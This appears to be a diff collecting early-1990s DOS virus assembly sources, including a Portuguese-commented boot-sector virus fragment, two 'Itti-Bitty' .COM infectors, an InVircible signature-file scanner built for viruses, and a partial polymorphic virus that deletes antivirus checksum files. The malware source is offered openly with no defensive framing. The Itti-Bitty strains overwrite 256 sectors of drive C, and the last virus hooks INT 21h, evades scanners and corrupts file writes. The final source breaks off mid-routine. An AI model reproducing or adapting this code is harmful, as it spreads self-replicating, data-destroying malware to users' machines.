||||
|
||||
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
|
||||
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
|
||||
; virus
|
||||
|
||||
verificar: mov ax,3 ; Media descriptor + ff,ff
|
||||
test byte ptr ds:estado,4 ; disco duro ?
|
||||
jz l7e1d
|
||||
inc ax ; Sim , FAT comeca 1 byte mais adiante
|
||||
l7e1d: mul si ; Multiplicar pelo numero do cluster
|
||||
shr ax,1
|
||||
sub ah,ds:FAT_sector
|
||||
mov bx,ax
|
||||
cmp bx,01ff
|
||||
jnb continua
|
||||
mov dx,[bx+8000] ; Ler a entrada na FAT
|
||||
test byte ptr ds:estado,4
|
||||
jnz l7e45
|
||||
mov cl,4
|
||||
test si,1
|
||||
jz l7e42
|
||||
shr dx,cl
|
||||
l7e42: and dh,0f
|
||||
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
|
||||
jz l7e51 ; descobriu-se um cluster para por o
|
||||
l7e4b: inc si ; virus , senao passa-se ao proximo
|
||||
cmp si,di ; cluster ate' achar um bom
|
||||
jbe verificar
|
||||
ret
|
||||
|
||||
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
|
||||
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
|
||||
; como um "bad cluster" para o DOS nao aceder a ele
|
||||
|
||||
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
|
||||
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
|
||||
jnz l7e68 ; ( 3 ou 4 nibbles )
|
||||
and dh,0f
|
||||
mov cl,4
|
||||
test si,1
|
||||
jz l7e68
|
||||
shl dx,cl
|
||||
l7e68: or [bx+8000],dx
|
||||
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
|
||||
call esc_sector
|
||||
mov ax,si
|
||||
sub ax,2
|
||||
mov bl,ds:7c0dh ; Numero de sectores por cluster
|
||||
xor bh,bh
|
||||
mul bx
|
||||
add ax,ds:prim_dados
|
||||
mov si,ax ; SI = sector a infectar
|
||||
mov bx,0 ; Ler o sector de boot original
|
||||
call ler_sector
|
||||
mov bx,si
|
||||
inc bx
|
||||
call esc_sector ; ... e guarda'-lo depois do virus
|
||||
infectar: mov bx,si
|
||||
mov word ptr ds:sector,si
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,20 ; Escrever o resto do virus
|
||||
mov es,ax
|
||||
call esc_sector
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,40
|
||||
mov es,ax
|
||||
mov bx,0 ; Escrever no sector de boot o virus
|
||||
call esc_sector
|
||||
ret
|
||||
Contaminar endp
|
||||
|
||||
Semente dw ? ; Esta word serve para fins de
|
||||
; temporizacao da bola a saltar
|
||||
FAT_sector db 0 ; Diz qual e' o numero do sector que
|
||||
; se esta' a percorrer quando se
|
||||
; vasculha a FAT
|
||||
|
||||
Despoletar proc near ; Comecar a mostrar a bola no ecran
|
||||
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
|
||||
jnz desp_exit ; Sim ,sair
|
||||
or byte ptr ds:estado,2 ; Nao , marcar activacao
|
||||
mov ax,0
|
||||
mov ds,ax
|
||||
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
|
||||
mov bx,ds:22
|
||||
mov word ptr ds:20,offset int_8
|
||||
mov ds:22,cs
|
||||
push cs
|
||||
pop ds ; E guardar a rotina anterior
|
||||
mov word ptr ds:velho_8+8,ax
|
||||
mov word ptr ds:velho_8+2,bx
|
||||
desp_exit: ret
|
||||
Despoletar endp
|
||||
|
||||
Int_8 proc near ; Rotina de atendimento ao interrupt
|
||||
push ds ; provocado pelo relogio 18.2 vezes
|
||||
push ax ; por segundo . Neste procedimento
|
||||
push bx ; e' que se faz o movimento da bola
|
||||
push cx ; pelo ecran
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,0f ; Ver qual o tipo de modo de video
|
||||
int 10
|
||||
mov bl,al
|
||||
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
|
||||
jz ler_cur ; os anteriores
|
||||
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
|
||||
dec ah ; de video
|
||||
mov ds:colunas,ah ; Guardar o numero de colunas
|
||||
mov ah,1
|
||||
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
|
||||
jnz e_CGA
|
||||
dec ah
|
||||
e_CGA: cmp bl,4 ; Ve se e' modo grafico
|
||||
jnb e_grafico
|
||||
dec ah
|
||||
e_grafico: mov ds:muda_attr,ah
|
||||
mov word ptr ds:coordenadas,0101
|
||||
mov word ptr ds:direccao,0101
|
||||
mov ah,3 ; Ler a posicao do cursor
|
||||
int 10
|
||||
push dx ; ... e guarda-la
|
||||
mov dx,ds:coordenadas
|
||||
jmp short limites
|
||||
|
||||
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
|
||||
int 10
|
||||
push dx ; ... e guarda-la
|
||||
mov ah,2 ; Posicionar o cursor no sitio da bola
|
||||
mov dx,ds:coordenadas
|
||||
int 10
|
||||
mov ax,ds:carat_attr
|
||||
cmp byte ptr ds:muda_attr,1
|
||||
jnz mudar_atr
|
||||
mov ax,8307 ; Atributos e carater 7
|
||||
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
|
||||
mov cx,1
|
||||
mov ah,9 ; Escrever a bola no ecran
|
||||
int 10
|
||||
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
|
||||
cmp dh,0 ; ecran . Linha = 0 ?
|
||||
jnz linha_1
|
||||
xor ch,0ff ; Mudar direccao
|
||||
inc ch
|
||||
linha_1: cmp dh,18 ; Linha = 24 ?
|
||||
jnz coluna_1
|
||||
xor ch,0ff ; Mudar direccao
|
||||
inc ch
|
||||
coluna_1: cmp dl,0 ; Coluna = 0 ?
|
||||
jnz coluna_2
|
||||
xor cl,0ff ; Mudar direccao
|
||||
inc cl
|
||||
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
|
||||
jnz esta_fixe
|
||||
xor cl,0ff ; Mudar direccao
|
||||
inc cl
|
||||
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
|
||||
jnz act_bola
|
||||
mov ax,ds:carat_attr
|
||||
and al,7
|
||||
cmp al,3
|
||||
jnz nao_e
|
||||
xor ch,0ff
|
||||
inc ch
|
||||
nao_e: cmp al,5
|
||||
jnz act_bola
|
||||
xor cl,0ff
|
||||
inc cl
|
||||
act_bola: add dl,cl ; Actualizar as coordenadas da bola
|
||||
add dh,ch
|
||||
mov ds:direccao,cx
|
||||
mov ds:coordenadas,dx
|
||||
mov ah,2
|
||||
int 10
|
||||
mov ah,8 ; Ler carater para onde vai a bola
|
||||
int 10
|
||||
mov ds:carat_attr,ax
|
||||
mov bl,ah
|
||||
cmp byte ptr ds:muda_attr,1
|
||||
jnz nao_muda
|
||||
mov bl,83 ; Novo atributo
|
||||
nao_muda: mov cx,1
|
||||
mov ax,0907 ; Escrever a bola no ecran
|
||||
int 10
|
||||
pop dx
|
||||
mov ah,2 ; Recolocar o cursor no posicao onde
|
||||
int 10 ; estava antes de escrever a bola
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
velho_8 equ $+1
|
||||
jmpf 0:0
|
||||
Int_8 endp
|
||||
|
||||
Carat_attr dw ? ; 7fcd
|
||||
Coordenadas dw 0101 ; 7fcf
|
||||
Direccao dw 0101 ; 7fd1
|
||||
Muda_attr db 1 ; 7fd3
|
||||
Modo_pag dw ? ; 7fd4
|
||||
Colunas db ? ; 7fd6
|
||||
|
||||
; Os bytes que se seguem destinam-se a reservar espaco para o stack
|
||||
|
||||
Virus ENDS
|
||||
|
||||
END begin
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
; Itti-Bitty Virus, Strain A
|
||||
; The world's smallest virus (except for Strain B, but still only 161 bytes)
|
||||
;
|
||||
; (C) 1991 Nowhere Man and [NuKE] WaErZ
|
||||
; Written by Nowhere Man
|
||||
|
||||
title "The Itti-Bitty Virus, Strain A: The smallest virus ever"
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
code_length equ finish - start
|
||||
|
||||
start label near
|
||||
|
||||
id_bytes proc near
|
||||
mov si,si ; Serves no purpose: our ID
|
||||
id_bytes endp
|
||||
|
||||
main proc near
|
||||
mov ax,0FF0Fh ; Virex installation check function
|
||||
int 021h
|
||||
cmp ax,0101h ; Is Virex loaded?
|
||||
je exit_virus ; If so, then bail out now
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds attribute mask
|
||||
mov dx,offset com_spec ; DX points to "*.COM"
|
||||
|
||||
file_loop: int 021h
|
||||
jc go_off ; If there are no files, go off
|
||||
|
||||
call infect_file ; Try to infect found file
|
||||
jne exit_virus ; Exit if successful
|
||||
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short file_loop ; Repeat until out of files
|
||||
|
||||
exit_virus: mov ah,9 ; DOS display string function
|
||||
mov dx,offset fake_error ; DX points to fake error message
|
||||
int 021h
|
||||
|
||||
mov ax,04C01h ; DOS terminate function, code 1
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
go_off proc near
|
||||
cli ; Prevent all interrupts
|
||||
|
||||
mov ah,2 ; AH holds drive number (C:)
|
||||
cwd ; Start with sector 0 (boot sector)
|
||||
mov cx,0100h ; Write 256 sectors (fucks disk)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
|
||||
jmp $ ; Infinite loop; lock up computer
|
||||
go_off endp
|
||||
|
||||
infect_file proc near
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; Clear all attributes
|
||||
mov dx,09Eh ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, read-write
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,2 ; CX holds byte to read (2)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
|
||||
pushf ; Save flags
|
||||
je close_it_up ; If not, then file is OK
|
||||
|
||||
cwd ; Zero CX \_ Zero bytes from start
|
||||
mov cx,dx ; Zero DX /
|
||||
mov ax,04200h ; DOS file seek function, start
|
||||
int 021h
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,code_length ; CX holds virus length
|
||||
mov dx,offset start ; DX points to start of virus
|
||||
int 021h
|
||||
|
||||
close_it_up: mov si,095h
|
||||
lodsb
|
||||
push ax ; Save file's attributes for later
|
||||
lodsw
|
||||
xchg cx,ax ; CX holds [096h]
|
||||
lodsw
|
||||
xchg dx,ax ; DX holds [098h]
|
||||
mov ax,05701h ; DOS set file time function
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
pop cx ; CX holds file's old attributes
|
||||
mov dx,09Eh ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
popf ; Restore flags
|
||||
ret ; Return to caller
|
||||
|
||||
buffer dw ? ; Buffer to hold test data
|
||||
infect_file endp
|
||||
|
||||
|
||||
; Initialized data goes here
|
||||
|
||||
com_spec db "*.COM",0 ; What to infect: all COM files
|
||||
|
||||
fake_error db "EXEC failure",13,10,"$" ; Fake error message
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end id_bytes
|
||||
@@ -0,0 +1,96 @@
|
||||
; The Itti-Bitty Virus, Strain B
|
||||
; The smallest virus ever written (only 99 bytes)
|
||||
;
|
||||
; (C) 1991 Nowhere Man and [NuKE] WaErZ
|
||||
; Written by Nowhere Man
|
||||
;
|
||||
;
|
||||
|
||||
title "The Itti-Bitty Virus, Strain B: Even smaller"
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
code_length equ finish - start
|
||||
|
||||
start label near
|
||||
|
||||
id_bytes proc near
|
||||
mov si,si ; Serves no purpose: our ID
|
||||
id_bytes endp
|
||||
|
||||
main proc near
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds attribute mask
|
||||
mov dx,offset com_spec ; DX points to "*.COM"
|
||||
|
||||
file_loop: int 021h
|
||||
jc go_off ; If there are no files, go off
|
||||
|
||||
call infect_file ; Try to infect found file
|
||||
jne exit_virus ; Exit if successful
|
||||
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short file_loop ; Repeat until out of files
|
||||
|
||||
exit_virus: mov ax,04C01h ; DOS terminate function, code 1
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
go_off proc near
|
||||
cli ; Prevent all interrupts
|
||||
|
||||
mov ah,2 ; AH holds drive number (C:)
|
||||
cwd ; Start with sector 0 (boot sector)
|
||||
mov cx,0100h ; Write 256 sectors (fucks disk)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
|
||||
jmp $ ; Infinite loop; lock up computer
|
||||
go_off endp
|
||||
|
||||
infect_file proc near
|
||||
mov ax,03D02h ; DOS open file function, read-write
|
||||
mov dx,09Eh ; DX points to the victim
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,2 ; CX holds byte to read (2)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
cmp word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
|
||||
pushf ; Save flags
|
||||
je close_it_up ; If not, then file is OK
|
||||
|
||||
cwd ; Zero CX \_ Zero bytes from start
|
||||
mov cx,dx ; Zero DX /
|
||||
mov ax,04200h ; DOS file seek function, start
|
||||
int 021h
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,code_length ; CX holds virus length
|
||||
mov dx,offset start ; DX points to start of virus
|
||||
int 021h
|
||||
|
||||
close_it_up: mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
popf ; Restore flags
|
||||
ret ; Return to caller
|
||||
|
||||
buffer dw ? ; Buffer to hold test data
|
||||
infect_file endp
|
||||
|
||||
|
||||
; Initialized data goes here
|
||||
|
||||
com_spec db "*.COM",0 ; What to infect: all COM files
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end id_bytes
|
||||
@@ -0,0 +1,143 @@
|
||||
;
|
||||
; InVircible Signature File Scanner for v6.02, (c)1995 ûirogen [NuKE]
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Zvi changed his signature files a little in v6.02; although all the
|
||||
; documentation says that he changed it in v6.01d, I never noticed a change
|
||||
; until this new version. Anywayz, what he did was simply change his little
|
||||
; verification word to one that my previous algorithm would think was a false
|
||||
; positive. Namely 'MZ', 'PK', and 60EAh (which corresponds to EXE headers,
|
||||
; PKZIP archives, and ARJ archives, respectively). So, since we can't just
|
||||
; look at the first word of the file, else we'll have many false positives,
|
||||
; we simply check the next record (42h bytes) for a valid signature. If both
|
||||
; records contain a valid signature then it's almost definatly an invircible
|
||||
; signature file.
|
||||
;
|
||||
; This utility is an example of how to detect InVircible signature files.
|
||||
; It skips files larger than 16896 bytes, as it's unlikely that a signature
|
||||
; file will contain more than 256 different entries and the speed increase
|
||||
; is definatly of worth in a virus. To use, just run it and it'll scan all
|
||||
; files in the current directory for InVircible signatures.
|
||||
;
|
||||
;
|
||||
|
||||
segment cseg
|
||||
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
|
||||
|
||||
max_size equ 256*66 ; maximum size of file to scan
|
||||
lf equ 0ah
|
||||
cr equ 0dh
|
||||
|
||||
org 100h
|
||||
start:
|
||||
lea dx,vanity ; credz..
|
||||
call disp
|
||||
mov ah,1ah
|
||||
lea dx,ff_info
|
||||
int 21h ; set DTA
|
||||
xor bp,bp
|
||||
xor cx,cx
|
||||
lea dx,filespec
|
||||
mov ah,4eh
|
||||
int 21h ; find first
|
||||
jnc find_loop
|
||||
jmp exit
|
||||
find_loop:
|
||||
inc bp ; bp is our counter
|
||||
lea dx,msg1 ; display 'Testing:'
|
||||
call disp
|
||||
lea dx,f_name
|
||||
push dx
|
||||
call disp ; display file name
|
||||
mov ax,3d00h ; open file
|
||||
pop dx
|
||||
int 21h
|
||||
jnc no_error
|
||||
lea dx,error
|
||||
call disp
|
||||
jmp not_iv
|
||||
no_error:
|
||||
xchg ax,bx ; get handle
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h ; get file size
|
||||
cmp dx,0
|
||||
jnz close
|
||||
cmp ax,max_size ; file too big?
|
||||
jae close
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
int 21h ; reset file pointer
|
||||
mov ah,3fh ; read first 44h bytes
|
||||
mov cx,44h
|
||||
lea dx,buf
|
||||
int 21h
|
||||
cmp ax,44h ; was there only one record?
|
||||
jz close
|
||||
mov ax,word ptr buf ; if so simulate second record
|
||||
mov word ptr buf[42h],ax
|
||||
close:
|
||||
mov ah,3eh ; close
|
||||
int 21h
|
||||
lea di,buf
|
||||
call chk_iv
|
||||
jnz not_iv
|
||||
lea di,buf[42h]
|
||||
call chk_iv
|
||||
jnz not_iv
|
||||
lea dx,is_iv ; display affirmatice
|
||||
call disp
|
||||
not_iv:
|
||||
mov ah,4fh ; find next
|
||||
int 21h
|
||||
jc exit
|
||||
jmp find_loop
|
||||
|
||||
exit:
|
||||
cmp bp,0 ; find any files?
|
||||
jnz some_done
|
||||
lea dx,no_files ; if not, display a msg
|
||||
call disp
|
||||
some_done:
|
||||
lea dx,done
|
||||
call disp
|
||||
ret
|
||||
|
||||
chk_iv:
|
||||
cmp word ptr [di],0EA60h ; check record
|
||||
jz yea_iv
|
||||
cmp word ptr [di],'KP'
|
||||
jz yea_iv
|
||||
cmp word ptr [di],'ZM'
|
||||
yea_iv:
|
||||
ret
|
||||
|
||||
disp: ; displays null terminated string via
|
||||
mov cx,0ffh ; DOS
|
||||
mov di,dx
|
||||
xor ax,ax
|
||||
repnz scasb ; search for null
|
||||
dec di
|
||||
push di
|
||||
mov byte ptr [di],'$' ; replace with '$'
|
||||
mov ah,9
|
||||
int 21h
|
||||
pop di
|
||||
mov byte ptr [di],0 ; reset null
|
||||
ret
|
||||
|
||||
vanity db cr,lf,'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ'
|
||||
db cr,lf,' InVircible v6.02 Signature File Detector, (c)1995 ûirogen [NuKE]'
|
||||
db cr,lf,'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ',cr,lf,0
|
||||
msg1 db cr,lf,'Testing File: ',0
|
||||
no_files db cr,lf,' No files found!',cr,lf,0
|
||||
is_iv db cr,lf,' þ Is an Invircible Signature File!',0
|
||||
error db cr,lf,' þ Error Opening! Is this file in the current dir?',0
|
||||
done db cr,lf,cr,lf,' Scan Complete.',cr,lf,0
|
||||
filespec db '*.*',0
|
||||
ff_info db 30 dup(0)
|
||||
f_name db 13 dup(0)
|
||||
buf db 44h dup(0)
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,479 @@
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; IVKiller - (c)1995 ûirogen - Using ûiCE v0.2á
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
;
|
||||
; This is yet another virus in what I call my Feb '95 series. Anywayz, this
|
||||
; virus's main point is that it candelete Invircible signature files.
|
||||
; Something I haven't seen included with any other viruses.
|
||||
;
|
||||
; þ Polymorphic utilizing ViCE v0.2á. JMPS on, Anti-TBSCAN on.
|
||||
; þ Infects COM and EXE when executed.
|
||||
; þ COM Infection marker: fourth byte is 0
|
||||
; þ EXE infection marker: Checksum in header not equal to 0.
|
||||
; þ Time/Date do not change
|
||||
; þ Read-only and hidden files will be infected, and attributes restored.
|
||||
; þ Virus installs its own critical error handler
|
||||
; þ Deletes MSAV/CPAV CHecksum filez..
|
||||
; þ Deletes Invircible Signature files
|
||||
; þ Activates on the second of any month, at which time it will phuck
|
||||
; up all file writes using INT 21h/func 40h.
|
||||
;
|
||||
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
|
||||
|
||||
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
|
||||
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
|
||||
special equ 11h
|
||||
act_day equ 3
|
||||
buf_size equ 170
|
||||
vice_size equ 1587+buf_size
|
||||
virus_size equ (offset vend-offset start)+VICE_SIZE
|
||||
extrn _vice:near
|
||||
|
||||
org 0h
|
||||
start:
|
||||
|
||||
push ds es
|
||||
inc si
|
||||
mov ax,1000h ; looks like legit. INT call..
|
||||
add ax,signal-1000h ; are we memory resident?
|
||||
mov dx,vsafe_word
|
||||
mov bl,special
|
||||
int 21h
|
||||
call nx ; get relative offset
|
||||
nx: pop bp
|
||||
sub bp,offset nx
|
||||
or si,si
|
||||
jz no_install ; if carry then we are
|
||||
|
||||
call crypt ; decrypt the next few bytez
|
||||
c_start:
|
||||
mov cs:activate[bp],0
|
||||
mov ah,2ah ; get date
|
||||
int 21h
|
||||
cmp dl,act_day ;
|
||||
jnz no_act
|
||||
mov cs:activate[bp],1
|
||||
no_act:
|
||||
|
||||
mov ax,ds ; PSP segment
|
||||
dec ax ; mcb below PSP m0n
|
||||
mov ds,ax ; DS=MCB seg
|
||||
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
|
||||
jnz no_install
|
||||
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
||||
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
||||
mov es,word ptr ds: [12h] ; get high mem seg
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
mov cx,virus_size/2+1
|
||||
xor di,di
|
||||
rep movsw ; copy code to new seg
|
||||
xor ax,ax
|
||||
mov ds,ax ; null ds
|
||||
push ds
|
||||
lds ax,ds: [21h*4] ; get 21h vector
|
||||
mov es: word ptr old21+2,ds ; save S:O
|
||||
mov es: word ptr old21,ax
|
||||
pop ds
|
||||
mov ds: [21h*4+2],es ; new int 21h seg
|
||||
mov ds: [21h*4],offset new21 ; new offset
|
||||
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
|
||||
c_end:
|
||||
no_install:
|
||||
|
||||
pop es ds ; restore ES DS
|
||||
cmp cs:is_exe[bp],1
|
||||
jz exe_return
|
||||
|
||||
lea si,org_bytes[bp] ; com return
|
||||
mov di,0100h ; -restore first 4 bytes
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov ax,100h ; jump back to 100h
|
||||
push ax
|
||||
_ret:ret
|
||||
|
||||
exe_return:
|
||||
mov cx,ds ; calc. real CS
|
||||
add cx,10h
|
||||
add word ptr cs:[exe_jump+2+bp],cx
|
||||
int 3 ; fix prefetch
|
||||
db 0eah
|
||||
exe_jump dd 0
|
||||
is_exe db 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Crypts portion of virus
|
||||
;
|
||||
crypt_res:
|
||||
xor bp,bp
|
||||
crypt:
|
||||
lea si,c_start
|
||||
add si,bp
|
||||
mov cx,(offset c_end-offset c_start)
|
||||
add byte ptr cs:xor_op[bp],10h ; self modifying code...
|
||||
int 3 ; fix prefetch
|
||||
l1:
|
||||
db 2Eh
|
||||
xor_op db 70h,34h ; tbscan won't flag this bitch
|
||||
xor_val db 0
|
||||
inc si
|
||||
loop l1
|
||||
sub byte ptr cs:xor_op[bp],10h ; unmodify code
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Infection routine - called from INT 21h handler.
|
||||
; DS:DX=fname
|
||||
;
|
||||
|
||||
infect_file:
|
||||
|
||||
int 3
|
||||
push dx
|
||||
pop si
|
||||
|
||||
push ds
|
||||
xor ax,ax ; null ES
|
||||
mov es,ax
|
||||
lds ax,es:[24h*4] ; get INT 24h vector
|
||||
mov cs:old_24_off,ax ; save it
|
||||
mov cs:old_24_seg,ds
|
||||
mov es:[24h*4+2],cs ; install our handler
|
||||
mov es:[24h*4],offset new_24
|
||||
pop ds
|
||||
push es ; we'll need it later
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,4300h ; get phile attribute
|
||||
int 21h
|
||||
mov ax,4301h ; null attribs
|
||||
push ax cx ; save AX-call/CX-attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h
|
||||
jc dont_do
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
call kill_chklst ; kill MSAV and CPAV checksum files
|
||||
call kill_iv ; kill Invircible Signature Files
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,20h
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
|
||||
jz do_exe
|
||||
cmp byte ptr org_bytes+3,0
|
||||
jz close
|
||||
|
||||
mov is_exe,0
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
push cx dx
|
||||
|
||||
call offset_end
|
||||
push ax ; AX=end of file
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor/
|
||||
push di ; encrypted code. (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,ax ; DX=EOF offset
|
||||
add dx,100h ; DX=offset decryptor will run from
|
||||
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
pop ax ; restore COM file size
|
||||
sub ax,3 ; calculate jmp offset
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
lea dx,new_jmp
|
||||
mov cx,4
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
pop dx cx ; pop date/time
|
||||
mov ax,5701h ; restore the mother fuckers
|
||||
int 21h
|
||||
|
||||
close:
|
||||
|
||||
pop cx ax ; restore attrib
|
||||
int 21h
|
||||
|
||||
call close_phile
|
||||
|
||||
dont_do:
|
||||
pop es ; ES=0
|
||||
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
|
||||
mov es:[24h*4],ax
|
||||
mov es:[24h*4+2],ds
|
||||
|
||||
ret
|
||||
|
||||
do_exe:
|
||||
|
||||
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
||||
jnz close
|
||||
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
||||
jz exe_ok
|
||||
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
||||
jge close
|
||||
exe_ok:
|
||||
push bx
|
||||
|
||||
mov ah,2ch ; grab a random number
|
||||
int 21h
|
||||
mov word ptr exe_header[12h],dx ; mark that it's us
|
||||
mov is_exe,1
|
||||
|
||||
les ax,dword ptr exe_header+14h ; Save old entry point
|
||||
mov word ptr ds:exe_jump, ax
|
||||
mov word ptr ds:exe_jump+2, es
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call offset_end
|
||||
|
||||
push dx ax ; save file size DX:AX
|
||||
|
||||
mov bx, word ptr exe_header+8h ; calc. new entry point
|
||||
mov cl,4 ; *16
|
||||
shl bx,cl ; ^by shifting one byte
|
||||
sub ax,bx ; get actual file size-header
|
||||
sbb dx,0
|
||||
mov cx,10h ; divide AX/CX rDX
|
||||
div cx
|
||||
|
||||
mov word ptr exe_header+14h,dx
|
||||
mov word ptr exe_header+16h,ax
|
||||
mov rel_off,dx
|
||||
|
||||
pop ax ; AX:DX file size
|
||||
pop dx
|
||||
pop bx
|
||||
|
||||
mov cx,virus_size+10h ; calc. new size
|
||||
